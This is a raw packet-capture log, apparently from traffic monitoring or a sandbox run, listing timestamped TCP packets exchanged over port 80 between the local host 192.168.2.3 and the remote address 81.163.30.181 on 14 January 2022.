Jan 14, 2022 20:23:50.478425980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478442907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478460073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478473902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478491068 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478509903 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478528976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478547096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478549957 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478566885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478585958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478605032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478632927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478650093 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478669882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478688955 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478708982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478709936 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478725910 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478744984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478764057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478764057 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478770018 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478773117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478775978 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478779078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478781939 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478785038 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478789091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478791952 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478805065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478817940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478831053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478832960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478843927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478862047 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478878021 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478878975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478897095 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478914976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478916883 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478935003 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478938103 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.478951931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478970051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478987932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.478997946 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479005098 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479022980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479032040 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479038954 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479055882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479073048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479077101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479089975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479091883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479110956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479129076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479137897 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479149103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479155064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479168892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479187012 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479203939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479213953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479221106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479238987 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479255915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479254961 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479274035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479286909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479290009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479309082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479315042 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479327917 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479343891 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479351044 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479361057 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479376078 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479378939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479397058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479412079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479413986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479432106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479439974 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479451895 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479489088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479501009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479520082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479537964 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479554892 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479572058 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479588032 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479604006 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479608059 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479620934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479635000 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479639053 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479656935 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479660034 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479681969 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479685068 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479701042 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479717016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479734898 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.479739904 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.479782104 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.488378048 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537338972 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537383080 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537420034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537453890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537484884 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537487984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537520885 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537524939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537560940 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537591934 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537596941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537632942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537635088 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537667990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537691116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537702084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537736893 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537772894 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537791967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537810087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537827015 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537842989 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537906885 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537944078 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.537970066 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.537976980 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538007975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538012981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538049936 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538083076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538117886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538132906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538147926 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538151026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538187981 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538223028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538249016 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538254976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538270950 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538291931 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538326025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538358927 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538383961 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538395882 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538431883 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538434982 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538470984 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538506985 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538527966 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538542986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538579941 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538594007 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538615942 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538675070 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538706064 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538724899 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538726091 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538777113 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538846016 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538861990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.538897038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538949013 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.538979053 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539000034 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539052010 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539091110 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539192915 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539246082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539266109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539300919 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539350986 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539401054 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539412022 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539454937 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539495945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539505959 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539557934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539611101 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539625883 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539663076 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539686918 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539717913 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539768934 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539819956 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539848089 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539870024 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539891005 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.539921045 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.539973021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540025949 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540076971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540106058 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540118933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540131092 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540183067 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540231943 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540271044 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540285110 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540301085 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540328979 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540376902 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540402889 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540427923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540462971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540543079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540565968 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540595055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540616035 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540663958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540698051 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540731907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540747881 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540767908 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540774107 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540801048 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540836096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540846109 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540868998 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540903091 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540926933 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540936947 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.540965080 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.540970087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541004896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541022062 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541038990 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541073084 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541106939 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541131020 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541140079 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541172028 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541176081 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541212082 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541227102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541244030 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541276932 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541311026 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541327953 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541344881 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541378975 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541402102 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541410923 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541445971 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541476011 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541480064 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541512966 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541515112 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541546106 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541547060 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541577101 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541579962 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541610003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541615009 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541631937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541651011 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541683912 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541707993 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541718960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541749954 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541754007 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541796923 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541800976 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541821003 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541857958 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541872025 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541927099 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541934967 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.541973114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.541975975 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542018890 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542045116 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542068005 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542081118 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542118073 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542123079 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542164087 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542172909 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542212963 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542215109 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542268038 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542275906 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542315960 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542321920 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542365074 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542366982 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542416096 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542421103 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542471886 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542474031 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542516947 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542522907 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542572021 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542574883 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542618990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542623043 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542673111 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542674065 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542721987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542725086 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542776108 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.542779922 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.542829990 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601313114 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601362944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601408958 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601444960 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601461887 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601492882 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601500988 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601506948 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601551056 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601568937 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601589918 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601630926 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601639986 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601672888 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601675987 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601692915 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601713896 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601726055 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601756096 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601784945 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601797104 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601807117 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601839066 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601845026 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601907969 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.601917028 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601959944 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.601969004 CET	49866	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:23:50.602001905 CET	80	49866	81.163.30.181	192.168.2.3
Jan 14, 2022 20:23:50.602008104 CET	49866	80	192.168.2.3	81.163.30.181
